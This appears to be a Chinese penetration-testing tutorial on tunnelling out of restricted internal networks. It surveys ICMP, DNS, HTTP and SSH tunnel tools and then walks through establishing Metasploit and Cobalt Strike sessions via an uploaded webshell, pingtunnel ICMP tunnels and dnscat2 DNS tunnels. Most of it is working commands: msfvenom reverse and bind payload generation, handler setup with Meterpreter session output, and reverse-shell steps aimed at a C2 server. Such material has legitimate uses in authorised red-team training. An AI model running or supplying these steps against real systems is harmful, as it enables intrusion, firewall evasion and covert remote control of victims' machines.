赞
踩
本文试图学习整理内网穿透(隧道)技术
利用各种隧道技术,以网络防火墙允许的协议,绕过网络防火墙的封锁,实现访问被封锁的目标网络
需要考虑的点:
一种通过使用互联网络的基础设施在网络之间传递数据的方式,包括数据封装、传输和解包在内的全过程。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。
按所处的协议层分层:
网络层隧道:ICMP隧道等
传输层隧道:TCP隧道、UDP隧道
应用层隧道:HTTP、DNS、SSH等隧道
历史可参考:https://cloud.tencent.com/developer/article/1832949?from=article.detail.1419096
网络防火墙允许ICMP协议出网,即能ping通外网主机,一般都能出网:
Windows系统默认传输32 bytes的数据,内容是固定的abcdefghijklmnopqrstuvwabcdefghi
,ping包的大小是可以改变的,但是内容依旧不变,且请求和相应内容相同
Linux系统默认传输48 bytes的数据,头信息比较复杂,但是末尾内容是固定!”#$%&’()+,-./01234567
ICMP隐蔽隧道的原理:替换Data部分,利用客户端程序进行接收并处理服务端发送的畸形的ICMP协议(主要是Request和Reply包)
检测:
网络防火墙允许特定的TCP或者UDP端口出网,比如连接外网的22、53、80、443、3389等常见应用的默认监听端口。
在一个不能出网的网络环境里面,将所有的TCP和UPD端口都探测一遍,通常都能发现有一两个常见的端口能出网。这通常是由于网络管理员的错误配置和偷懒行为导致:
这种网络防火墙能识别应用层的协议,放行允许出网的协议,比如HTTP、SSH、DNS、RDP等应用层协议
1、DNS隧道
原理:配置某个域名的NS服务器,使得对该域名的所有子域解析请求最终到达该NS服务器上,然后将另一个协议的数据编码为一系列DNS查询,响应时客户端将返回的Response数据进行解码得到另一协议的数据
特征:
检测:
一些应用:
可参考:https://zhuanlan.zhihu.com/p/33539224
2、HTTP隧道
原理:通过HTTP协议与代理服务器建立连接,协议信令中包含要连接到的远程主机的IP和端口,如果有需要身份验证的话还需要加上授权信息,服务器收到信令后首先进行身份验证,通过后便与远程主机建立连接,连接成功之后会返回给客户端200,表示验证通过。此外HTTP隧道是没有进行加密的,不安全的,一般再嵌套一个SSH安全隧道
CONNECT 124.xxx.xxx.xx:443 HTTP/1.1 //建立http隧道要443端口
Proxy-Connection: Keep-Alive //客户端到服务器端的连接持续有效
Content-Length: 0
Host: 124.xxx.xxx.xx //主机地址
Proxy-Authorization:Basic YTph //身份验证信息
User-Agent: OpenFetion //可以标识请求者的信息,如什么浏览器类型和版本、操作系统、使用语言等信息
可参考:https://www.cnblogs.com/ready-gogo/p/12498388.html
端口映射和端口转发其实是一回事,原理是一样的,由于应用场景不同,才产生了不同的含义
(本节内容 from 七夜师傅)
端口映射的使用,以下图为例,这是一个在渗透测试中,比较常见的场景:
从上图场景中看,端口映射是将内网主机B的80端口映射到了具有公网IP的主机A上,本质上是将一个本来无法访问的端口映射到可以访问的IP上了
端口转发又是另外一个场景,在渗透测试中,也很常见。如下图所示:
这就需要一台主机C,一个公网的VPS(去阿里云或者腾讯云买)
github:https://github.com/bdamele/icmpsh
能通过ICMP协议反弹cmd,功能单一,反弹回来的cmd极不稳定,不推荐使用
可参考:https://www.freebuf.com/news/210450.html
github:https://github.com/DhavalKapil/icmptunnel
创建虚拟网卡通过ICMP协议传输网卡流量,基于ICMP隧道的vpn,需要root权限,动静极大,不推荐使用
github:https://github.com/esrrhs/pingtunnel
TCP、UDP、socks5 over ICMP,速度快,连接稳定,跨平台,client模式不需要管理员权限即可正常使用,推荐使用
官网:https://eternallybored.org/misc/netcat/
网络工具中的瑞士军刀,不多介绍,linux系统一般自带
github:https://github.com/besimorhino/powercat
powershell版的netcat
github:https://github.com/erluko/socat
具有记录转发流的功能,方便查看转发内容,需要安装
官网:https://docs.microsoft.com/en-us/windows-server/networking/technologies/netsh/netsh-contexts
windows系统自带的网络配置工具
github:https://github.com/windworst/LCX
基于socket套接字实现的端口转发工具,从linux下的htran移植给Windows的
//内网机器10.0.0.1的3389端口,转发到公网9000端口
lcx.exe -slave 192.168.1.161 9000 10.0.0.1 3389
//公网机器192.168.1.1,将本机端口9000上监听的所有数据转发到本机5555上
lcx.exe -listen 9000 5555
github:https://github.com/cw1997/NATBypass
一款lcx在golang下的实现,更好的跨平台,更完善的文档
github:https://github.com/EddieIvan01/iox
端口转发 & 内网代理工具,功能类似于lcx/ew,简化了命令行参数,支持UDP流量转发,更好的跨平台
缺点:不支持监听指定IP,默认监听0.0.0.0:port
,会增大暴露风险
github:https://github.com/fatedier/frp
用Go写的,支持TCP和UDP,以及HTTP和HTTPS协议,同时也支持P2P,仍在持续更新
由于应用层协议极多,对应的隧道工具也很多,我们常用来做隧道的协议一般是DNS、HTTP、SSH、SOCKS等
github:https://github.com/iagox86/dnscat2
IP over DNS通过 DNS 协议创建加密的命令和控制 (C&C) 通道,看起来厉害极了
可参考:
github:https://github.com/lukebaggett/dnscat2-powershell
dnscat2的powershell客户端
github:https://github.com/alex-sector/dns2tcp
TCP over DNS,即通过DNS隧道转发TCP连接,没有加密。采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便
可参考: https://cloud.tencent.com/developer/article/1552172?from=article.detail.1419096
github:https://github.com/yarrick/iodine
IPv4 over DNS,即通过DNS隧道转发IPv4数据包,在编码,请求类型上提供了更丰富的选择,而且在速度方面更快
可参考: https://cloud.tencent.com/developer/article/1552172?from=article.detail.1419096
github:https://github.com/sensepost/reGeorg
SOCKS over HTTP,即通过HTTP隧道转发SOCKS,用Python写的,基于Python2.7和urllib3,上传一个Tunnel脚本,然后远程连接转发端口即可建立socket代理隧道
github:https://github.com/L-codes/Neo-reGeorg
重构版reGeorg,提高稳定性和可用性,避免特征检测,更新活跃
根据作者说法:
github:https://github.com/sensepost/reDuh
TCP over HTTP,即通过HTTP隧道转发TCP连接,隧道不稳定
github:https://github.com/SECFORCE/Tunna
TCP、SOCKS over HTTP,即通过HTTP隧道转发TCP连接和SOCKS,隧道不稳定
github:https://github.com/nccgroup/ABPTTS
TCP over HTTP,即通过HTTP隧道转发TCP连接
官网:http://rootkiter.com/EarthWorm/
github:https://github.com/rootkiter/Binary-files
下载:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e
十分方便的多级SOCKS代理,已经永久停止更新,五种管道:
官网:http://rootkiter.com/Termite/
github:https://github.com/rootkiter/Binary-files/tree/bd3223082afbf88421fe391eb55b9eb2da7d533e
EarthWorm的升级版,已经永久停止更新
github:https://github.com/Dliv3/Venom/
Venom是一款基于ssh隧道,为渗透测试人员设计的使用Go开发的多级代理工具
据作者说:
github:https://github.com/54Pany/sSocks
正向和反向的socks工具,可执行文件的大小很小,支持socks5验证,支持IPV6和UDP
github:https://github.com/ring04h/s5.go
go语言编写的socks服务工具,良好的跨平台特性
ssh本身可以用来做隧道,如果没被限制的话
本地转发:
ssh -CNfg -L 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1
#ssh客户端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由服务端转发到114.114.114.114:9999
远程转发:
ssh -CNfg -R 127.0.0.1:7777:114.114.114.114:9999 root@192.168.1.1
#ssh服务端监听127.0.0.1:7777, 将收到的tcp数据包通过连接到192.168.1.1的ssh隧道转发到ssh客户端,再由ssh客户端转发到114.114.114.114:9999
动态转发:
ssh -CNfg -D 127.0.0.1:7777 root@192.168.1.1
# ssh客户端监听127.0.0.1:7777开启socks服务,将收到的socks数据包通过连接到192.168.1.1的ssh隧道转发到ssh服务端,再由ssh服务端转发到目标地址
构建ssh隧道的常用参数:
-C 压缩传输,提高传输速度
-f 后台执行数据传输
-N 建立静默连接
-g 允许远程主机连接本地用于转发的端口
-L 本地端口转发
-R 远程端口转发
-D 动态转发,即SOCKS代理
-p 指定ssh连接端口
获取了webshell的主机位于内网
利用反向代理入网的web应用所在的HTTP连接,构建正向的TCP over HTTP隧道。通过这条隧道,我们可以向内网主机发起TCP连接。生成bind类型的payload,通过webshell上传执行就会监听一个端口,我们的远控平台通过构建的TCP over HTTP隧道,去连接监听的端口即可上线
能构建TCP over HTTP的隧道的工具有ABPTTS、Tunna、reDuh等,由于Tunna、reDuh构建的tcp连接不稳定,这里选用ABPTTS
1、上线metasploit
通过正向的HTTP隧道构建TCP连接
# 配置abptts运行环境
# 注意windows安装pycrypto库需要先安装依赖http://aka.ms/vcpython27
pip install httplib2
pip install pycrypto
# 生成server端脚本
python abpttsfactory.py -o server
# 上传server端脚本到web服务器,客户端运行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.10/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888
# abptts客户端监听127.0.0.1:7777,通过http://192.168.168.10/abptts.aspx这个http隧道,将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888
生成bind类型的payload,通过webshell上传执行
# 这里的rhost和lport是转发的目的IP和端口
msfvenom -p windows/meterpreter/bind_tcp rhost=127.0.0.1 lport=8888 -f exe -o meterpreter.exe
启动msf监听,等待meterpreter执行上线
#这里的rhost和lport是abptts客户端监听的IP和端口,msf所在主机必须能访问到这个IP和端口,这里msf和abptts在同一个主机上
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run
[*] Started bind TCP handler against 127.0.0.1:7777
[*] Sending stage (180291 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 127.0.0.1:7777) at 2020-04-27 04:50:25 -0400
meterpreter > getuid
Server username: DESKTOP-0AH7FQ0\admin
2、上线cobaltstrike
由于cobaltstrike的bind类型的监听器仅有beacon TCP和beacon SMB,并且都必须连接到父beacon,无法直接连接cobalstrike服务端,所以我们需要一个父beacon来中转连接。
通过正向的http隧道构建tcp连接
# 配置abptts运行环境
# 注意windows安装pycrypto库需要先安装依赖http://aka.ms/vcpython27
pip install httplib2
pip install pycrypto
# 生成server端脚本
python abpttsfactory.py -o server
# 上传server端脚本到web服务器,客户端运行以下命令
python abpttsclient.py -c server/config.txt -u "http://192.168.168.121/abptts.aspx" -f 127.0.0.1:7777/127.0.0.1:8888
# abptts客户端监听127.0.0.1:7777,通过http://192.168.168.121/abptts.aspx这个http隧道,将tcp连接127.0.0.1:7777转发到web服务器网络下的127.0.0.1:8888
创建反向的listener
生成父beacon
上传父beacon到abptts客户端执行上线
创建payload为TCP beacon的listener
生成stageless的子beacon
将生成的子beacon通过webshell上传执行
# 可以通过webshell查看网络监听,确保子beacon执行成功
netstat -ano | findstr 127.0.0.1:8888
在父beacon中连接ABPTTS的监听IP和端口
成功上线不能出网的webshell内网主机
通过某种信道获取了内网主机的shell,但是当前信道不适合做远控的通信信道(比如站库分离的网站,我们通过sql注入获取了数据库服务器的shell,但是数据库服务器只有ICMP协议可以出网)
ICMP协议可以出网,可以利用ICMP协议,构建反向的TCP over ICMP隧道或者SOCKS over ICMP隧道上线远控平台。搭建隧道的工具使用pingtunnel,它能通过ICMP隧道转发TCP、UDP、socks5连接
1、ICMP隧道转发TCP上线metasploit
准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1
ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 该命令的意思是icmp客户端监听127.0.0.1:9999,通过连接到icmpserver_ip的icmp隧道,将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777
生成反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线
msfvenom -p windows/meterpreter/reverse_https lhost=127.0.0.1 lport=9999 -f exe -o meterpreter.exe
# 这里的lhost和lport为icmp客户端监听ip和端口
启动msf监听,等待meterpreter执行上线
# 这里的lhost和lport为icmp客户端转发到的ip和端口
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:7777
meterpreter > getuid
Server username: DESKTOP-test0\admin
2、ICMP隧道转发socks上线metasploit
准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1
ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
# 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务,通过连接到icmpserver_ip的icmp隧道,由icmpserver转发socks5代理请求到目的地址
生成支持socks5代理的反向payload的meterpreter并上传到ICMP隧道客户端执行即可上线
msfvenom -p windows/meterpreter/reverse_https LHOST=c2_server_ip LPORT=8443 HttpProxyType=SOCKS HttpProxyHost=127.0.0.1 HttpProxyPort=6688 -f exe -o meterpreter.exe
启动msf监听,等待meterpreter执行上线
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf5 exploit(multi/handler) > set lport 8443
lport => 8443
msf5 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:8443
meterpreter > getuid
Server username: DESKTOP-test0\admin
3、ICMP隧道转发TCP上线cobaltstrike
准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1
ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1
# 该命令的意思是icmp隧道客户端监听127.0.0.1:9999,通过连接到icmpserver_ip的icmp隧道,将127.0.0.1:9999收到的tcp数据包转发到c2_server_ip:7777
cobaltstrike创建listener
https host和https port(c2)为ICMP隧道客户端的监听IP和端口
https port(bind)为转发目的地址的端口
生成反向payload的beacon
上传生成的beacon到ICMP隧道客户端执行,成功通过反向ICMP隧道上线
4、ICMP隧道转发socks上线cobaltstrike
准备好一个具有公网IP的服务器,root权限运行以下命令,启动ICMP隧道服务端
./pingtunnel -type server -noprint 1 -nolog 1
ICMP隧道客户端(即需要通过ICMP隧道上线的主机)执行以下命令即可成功创建反向ICMP隧道
pingtunnel.exe -type client -l 127.0.0.1:6688 -s icmpserver_ip -sock5 1 -nolog 1 -noprint 1
# 该命令的意思是icmp隧道客户端监听127.0.0.1:6688启动socks5服务,通过连接到icmpserver_ip的icmp隧道,由icmpserver转发socks5代理请求到目的地址
cobaltstrike创建listener
这里的代理可以是socks或者HTTP,好像cobaltstrike不支持socks5代理,这里并不能成功上线
这里也可以使用HTTP代理,不过需要工具将HTTP代理转为socks5代理,比如privoxy
选择创建的listener生成beacon上传到目标执行即可上线
通过某种信道获取了内网主机的shell,但是做了限制不跟外网通信
DNS协议可以出网,只允许端口53的UDP流量,就不能通过TCP搭建隧道,这种情况下我们可以通过UDP搭建DNS隧道,具体实现是通过搭建一个DNS服务器委派的子域,这个子域因为是我们自己搭建的主机,这时候就可以通过这个子域用看起来厉害极了的dnscat2搭建DNS隧道,和网络被限制的主机进行交互
1、购买域名并配置A记录和NS记录
108.x.x.216
0.0.0.0
2、测试是否解析到服务器
ping配置域名
ns记录是否解析成功
在VPS服务器上进行抓包
tcpdump -n -i eth0 dst port 5
3、使用dnscat2
安装dnscat2服务端,因为服务端是用ruby语言编写的,所以需要配置ruby环境
apt-get install gem
apt-get install ruby-dev
apt-get install libpq-dev
apt-get install ruby-bundler
# 从github上下载dnscat2,并编译
apt-get insatll git
git clone https://githun.com/iagox86/dnscat2.git
cd dnscat2/server
bundle insatll
启动服务端
ruby ./dnscat2.rb --dns "domain=localhost,host=127.0.0.1,port=53" --no-cache
启动客户端
dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID
反弹shell
交互模式
输入session命令可以查看当前控制的进程(每个连接都是独立的进程)。输入shell命令打开另一个会话,建立一个交互模式
内网穿透的本质:通过各种通信信道,无论是正向的还是反向的,实现传输层协议TCP/UDP数据包的转发,应用层协议都是基于传输层的协议实现的。比如ABPTTS + SOCKS服务 = reGeorg
内网渗透中的内网穿透的条件:能通过某种通信信道远程代码执行。如果能通过某种通信信道远程代码执行,一定可以通过这种通信信道实现TCP/UDP 数据包的转发,即TCP/UDP over something隧道。如果没有现成的工具,可能需要我们自己开发。比如,通过sql注入获取了shell,我们也可以利用这条通信信道转发TCP/UDP 数据包,没有现成的工具,需要我们开发工具而已,隧道客户端将TCP/UDP 数据包封装写进数据库,再由隧道服务端从数据库中读出封装的数据包解包,发往对应地址即可
一些有意思的东西:
参考:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。